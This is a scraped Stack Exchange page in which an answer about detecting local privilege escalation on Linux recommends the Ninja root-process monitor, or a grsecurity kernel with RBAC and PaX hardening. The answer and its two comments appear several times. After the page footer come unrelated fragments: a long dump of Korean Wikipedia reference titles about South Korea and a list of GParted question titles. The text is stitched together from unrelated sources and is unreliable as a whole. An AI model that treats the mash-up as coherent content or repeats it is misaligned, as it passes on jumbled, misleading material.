                      A safer alternative is to use a GRSEC patched kernel and it's RBAC (Role Based Access Control) features. With RBAC it is possible to strip the root user from all power so that gaining root is practically useless unless you also authenticate as admin role with gradm -a admin.



                      GRSEC also comes with PaX, which makes the kernel a lot more difficult to exploit.






                      share|improve this answer























                      • Again naive question : Wouldn't be great to integrate Ninja into kernel in such way that it would not be stopped ?

                        – Martin V.
                        Jun 19 '13 at 2:32












                      • @MartinV. You can consider Ninja a workaround if you are unable to use GRSEC kernel and RBAC. With RBAC, kernel can kill unauthorized sessions and processes.

                        – jkj
                        Jun 19 '13 at 19:23













                      1












                      1








                      1







                      A good question!



                      On multi user systems you just need some safeguards should a local root exploit succeed.



                      The Ninja userland software constantly monitors for new root processes and possibly kills them if they are spawned from unexpected sources. A minus is that Ninja takes quite a bit of CPU and still a custom exploit might just be fast enough to kill the Ninja before the Ninja kills it.




                      Ninja is a privilege escalation detection  and  prevention system for GNU/Linux hosts. While running, it will monitor process activity on the local host, and keep track of  all processes  running  as root. If a process is spawned with UID or GID zero (root), ninja will log necessary information about this process, and optionally kill the process if it was spawned by an unauthorized user.




                      A safer alternative is to use a GRSEC patched kernel and it's RBAC (Role Based Access Control) features. With RBAC it is possible to strip the root user from all power so that gaining root is practically useless unless you also authenticate as admin role with gradm -a admin.



                      GRSEC also comes with PaX, which makes the kernel a lot more difficult to exploit.






                      share|improve this answer













                      A good question!



                      On multi user systems you just need some safeguards should a local root exploit succeed.



                      The Ninja userland software constantly monitors for new root processes and possibly kills them if they are spawned from unexpected sources. A minus is that Ninja takes quite a bit of CPU and still a custom exploit might just be fast enough to kill the Ninja before the Ninja kills it.




                      Ninja is a privilege escalation detection  and  prevention system for GNU/Linux hosts. While running, it will monitor process activity on the local host, and keep track of  all processes  running  as root. If a process is spawned with UID or GID zero (root), ninja will log necessary information about this process, and optionally kill the process if it was spawned by an unauthorized user.




                      A safer alternative is to use a GRSEC patched kernel and it's RBAC (Role Based Access Control) features. With RBAC it is possible to strip the root user from all power so that gaining root is practically useless unless you also authenticate as admin role with gradm -a admin.



                      GRSEC also comes with PaX, which makes the kernel a lot more difficult to exploit.







                      share|improve this answer












                      share|improve this answer



                      share|improve this answer










                      answered May 26 '13 at 1:17









                      jkjjkj

                      1514




                      1514












                      • Again naive question : Wouldn't be great to integrate Ninja into kernel in such way that it would not be stopped ?

                        – Martin V.
                        Jun 19 '13 at 2:32












                      • @MartinV. You can consider Ninja a workaround if you are unable to use GRSEC kernel and RBAC. With RBAC, kernel can kill unauthorized sessions and processes.

                        – jkj
                        Jun 19 '13 at 19:23

















                      • Again naive question : Wouldn't be great to integrate Ninja into kernel in such way that it would not be stopped ?

                        – Martin V.
                        Jun 19 '13 at 2:32












                      • @MartinV. You can consider Ninja a workaround if you are unable to use GRSEC kernel and RBAC. With RBAC, kernel can kill unauthorized sessions and processes.

                        – jkj
                        Jun 19 '13 at 19:23
















                      Again naive question : Wouldn't be great to integrate Ninja into kernel in such way that it would not be stopped ?

                      – Martin V.
                      Jun 19 '13 at 2:32






                      Again naive question : Wouldn't be great to integrate Ninja into kernel in such way that it would not be stopped ?

                      – Martin V.
                      Jun 19 '13 at 2:32














                      @MartinV. You can consider Ninja a workaround if you are unable to use GRSEC kernel and RBAC. With RBAC, kernel can kill unauthorized sessions and processes.

                      – jkj
                      Jun 19 '13 at 19:23





                      @MartinV. You can consider Ninja a workaround if you are unable to use GRSEC kernel and RBAC. With RBAC, kernel can kill unauthorized sessions and processes.

                      – jkj
                      Jun 19 '13 at 19:23

















                      draft saved

                      draft discarded
















































                      Thanks for contributing an answer to Unix & Linux Stack Exchange!


                      • Please be sure to answer the question. Provide details and share your research!

                      But avoid


                      • Asking for help, clarification, or responding to other answers.

                      • Making statements based on opinion; back them up with references or personal experience.

                      To learn more, see our tips on writing great answers.




                      draft saved


                      draft discarded














                      StackExchange.ready(
                      function ()
                      StackExchange.openid.initPostLogin('.new-post-login', 'https%3a%2f%2funix.stackexchange.com%2fquestions%2f76766%2fprivilege-escalation-detection%23new-answer', 'question_page');

                      );

                      Post as a guest















                      Required, but never shown





















































                      Required, but never shown














                      Required, but never shown












                      Required, but never shown







                      Required, but never shown

































                      Required, but never shown














                      Required, but never shown












                      Required, but never shown







                      Required, but never shown







                      Popular posts from this blog

                      Àrd-bhaile Cathair chruinne/Baile mòr cruinne | Artagailean ceangailte | Clàr-taice na seòladaireachd

                      대한민국 목차 국명 지리 역사 정치 국방 경제 사회 문화 국제 순위 관련 항목 각주 외부 링크 둘러보기 메뉴북위 37° 34′ 08″ 동경 126° 58′ 36″ / 북위 37.568889° 동경 126.976667°  / 37.568889; 126.976667ehThe Korean Repository문단을 편집문단을 편집추가해Clarkson PLC 사Report for Selected Countries and Subjects-Korea“Human Development Index and its components: P.198”“http://www.law.go.kr/%EB%B2%95%EB%A0%B9/%EB%8C%80%ED%95%9C%EB%AF%BC%EA%B5%AD%EA%B5%AD%EA%B8%B0%EB%B2%95”"한국은 국제법상 한반도 유일 합법정부 아니다" - 오마이뉴스 모바일Report for Selected Countries and Subjects: South Korea격동의 역사와 함께한 조선일보 90년 : 조선일보 인수해 혁신시킨 신석우, 임시정부 때는 '대한민국' 국호(國號) 정해《우리가 몰랐던 우리 역사: 나라 이름의 비밀을 찾아가는 역사 여행》“남북 공식호칭 ‘남한’‘북한’으로 쓴다”“Corea 대 Korea, 누가 이긴 거야?”국내기후자료 - 한국[김대중 前 대통령 서거] 과감한 구조개혁 'DJ노믹스'로 최단기간 환란극복 :: 네이버 뉴스“이라크 "韓-쿠르드 유전개발 MOU 승인 안해"(종합)”“해외 우리국민 추방사례 43%가 일본”차기전차 K2'흑표'의 세계 최고 전력 분석, 쿠키뉴스 엄기영, 2007-03-02두산인프라, 헬기잡는 장갑차 'K21'...내년부터 공급, 고뉴스 이대준, 2008-10-30과거 내용 찾기mk 뉴스 - 구매력 기준으로 보면 한국 1인당 소득 3만弗과거 내용 찾기"The N-11: More Than an Acronym"Archived조선일보 최우석, 2008-11-01Global 500 2008: Countries - South Korea“몇년째 '시한폭탄'... 가계부채, 올해는 터질까”가구당 부채 5000만원 처음 넘어서“‘빚’으로 내몰리는 사회.. 위기의 가계대출”“[경제365] 공공부문 부채 급증…800조 육박”“"소득 양극화 다소 완화...불평등은 여전"”“공정사회·공생발전 한참 멀었네”iSuppli,08年2QのDRAMシェア・ランキングを発表(08/8/11)South Korea dominates shipbuilding industry | Stock Market News & Stocks to Watch from StraightStocks한국 자동차 생산, 3년 연속 세계 5위자동차수출 '현대-삼성 웃고 기아-대우-쌍용은 울고' 과거 내용 찾기동반성장위 창립 1주년 맞아Archived"중기적합 3개업종 합의 무시한 채 선정"李대통령, 사업 무분별 확장 소상공인 생계 위협 질타삼성-LG, 서민업종인 빵·분식사업 잇따라 철수상생은 뒷전…SSM ‘몸집 불리기’ 혈안Archived“경부고속도에 '아시안하이웨이' 표지판”'철의 실크로드' 앞서 '말(言)의 실크로드'부터, 프레시안 정창현, 2008-10-01“'서울 지하철은 안전한가?'”“서울시 “올해 안에 모든 지하철역 스크린도어 설치””“부산지하철 1,2호선 승강장 안전펜스 설치 완료”“전교조, 정부 노조 통계서 처음 빠져”“[Weekly BIZ] 도요타 '제로 이사회'가 리콜 사태 불러들였다”“S Korea slams high tuition costs”““정치가 여론 양극화 부채질… 합리주의 절실””“〈"`촛불집회'는 민주주의의 질적 변화 상징"〉”““촛불집회가 민주주의 왜곡 초래””“국민 65%, "한국 노사관계 대립적"”“한국 국가경쟁력 27위‥노사관계 '꼴찌'”“제대로 형성되지 않은 대한민국 이념지형”“[신년기획-갈등의 시대] 갈등지수 OECD 4위…사회적 손실 GDP 27% 무려 300조”“2012 총선-대선의 키워드는 '국민과 소통'”“한국 삶의 질 27위, 2000년과 2008년 연속 하위권 머물러”“[해피 코리아] 행복점수 68점…해외 평가선 '낙제점'”“한국 어린이·청소년 행복지수 3년 연속 OECD ‘꼴찌’”“한국 이혼율 OECD중 8위”“[통계청] 한국 이혼율 OECD 4위”“오피니언 [이렇게 생각한다] `부부의 날` 에 돌아본 이혼율 1위 한국”“Suicide Rates by Country, Global Health Observatory Data Repository.”“1. 또 다른 차별”“오피니언 [편집자에게] '왕따'와 '패거리 정치' 심리는 닮은꼴”“[미래한국리포트] 무한경쟁에 빠진 대한민국”“대학생 98% "외모가 경쟁력이라는 말 동의"”“특급호텔 웨딩·200만원대 유모차… "남보다 더…" 호화病, 고질병 됐다”“[스트레스 공화국] ① 경쟁사회, 스트레스 쌓인다”““매일 30여명 자살 한국, 의사보다 무속인에…””“"자살 부르는 '우울증', 환자 중 85% 치료 안 받아"”“정신병원을 가다”“대한민국도 ‘묻지마 범죄’,안전지대 아니다”“유엔 "학생 '성적 지향'에 따른 차별 금지하라"”“유엔아동권리위원회 보고서 및 번역본 원문”“고졸 성공스토리 담은 '제빵왕 김탁구' 드라마 나온다”“‘빛 좋은 개살구’ 고졸 취업…실습 대신 착취”원본 문서“정신건강, 사회적 편견부터 고쳐드립니다”‘소통’과 ‘행복’에 목 마른 사회가 잠들어 있던 ‘심리학’ 깨웠다“[포토] 사유리-곽금주 교수의 유쾌한 심리상담”“"올해 한국인 평균 영화관람횟수 세계 1위"(종합)”“[게임연중기획] 게임은 문화다-여가활동 1순위 게임”“영화속 ‘영어 지상주의’ …“왠지 씁쓸한데””“2월 `신문 부수 인증기관` 지정..방송법 후속작업”“무료신문 성장동력 ‘차별성’과 ‘갈등해소’”대한민국 국회 법률지식정보시스템"Pew Research Center's Religion & Public Life Project: South Korea"“amp;vwcd=MT_ZTITLE&path=인구·가구%20>%20인구총조사%20>%20인구부문%20>%20 총조사인구(2005)%20>%20전수부문&oper_YN=Y&item=&keyword=종교별%20인구& amp;lang_mode=kor&list_id= 2005년 통계청 인구 총조사”원본 문서“한국인이 좋아하는 취미와 운동 (2004-2009)”“한국인이 좋아하는 취미와 운동 (2004-2014)”Archived“한국, `부분적 언론자유국' 강등〈프리덤하우스〉”“국경없는기자회 "한국, 인터넷감시 대상국"”“한국, 조선산업 1위 유지(S. Korea Stays Top Shipbuilding Nation) RZD-Partner Portal”원본 문서“한국, 4년 만에 ‘선박건조 1위’”“옛 마산시,인터넷속도 세계 1위”“"한국 초고속 인터넷망 세계1위"”“인터넷·휴대폰 요금, 외국보다 훨씬 비싸”“한국 관세행정 6년 연속 세계 '1위'”“한국 교통사고 사망자 수 OECD 회원국 중 2위”“결핵 후진국' 한국, 환자가 급증한 이유는”“수술은 신중해야… 자칫하면 생명 위협”대한민국분류대한민국의 지도대한민국 정부대표 다국어포털대한민국 전자정부대한민국 국회한국방송공사about korea and information korea브리태니커 백과사전(한국편)론리플래닛의 정보(한국편)CIA의 세계 정보(한국편)마리암 부디아 (Mariam Budia),『한국: 하늘이 내린 한 폭의 그림』, 서울: 트랜스라틴 19호 (2012년 3월)대한민국ehehehehehehehehehehehehehehWorldCat132441370n791268020000 0001 2308 81034078029-6026373548cb11863345f(데이터)00573706ge128495

                      Cannot Extend partition with GParted The 2019 Stack Overflow Developer Survey Results Are In Announcing the arrival of Valued Associate #679: Cesar Manara Planned maintenance scheduled April 17/18, 2019 at 00:00UTC (8:00pm US/Eastern) 2019 Community Moderator Election ResultsCan't increase partition size with GParted?GParted doesn't recognize the unallocated space after my current partitionWhat is the best way to add unallocated space located before to Ubuntu 12.04 partition with GParted live?I can't figure out how to extend my Arch home partition into free spaceGparted Linux Mint 18.1 issueTrying to extend but swap partition is showing as Unknown in Gparted, shows proper from fdiskRearrange partitions in gparted to extend a partitionUnable to extend partition even though unallocated space is next to it using GPartedAllocate free space to root partitiongparted: how to merge unallocated space with a partition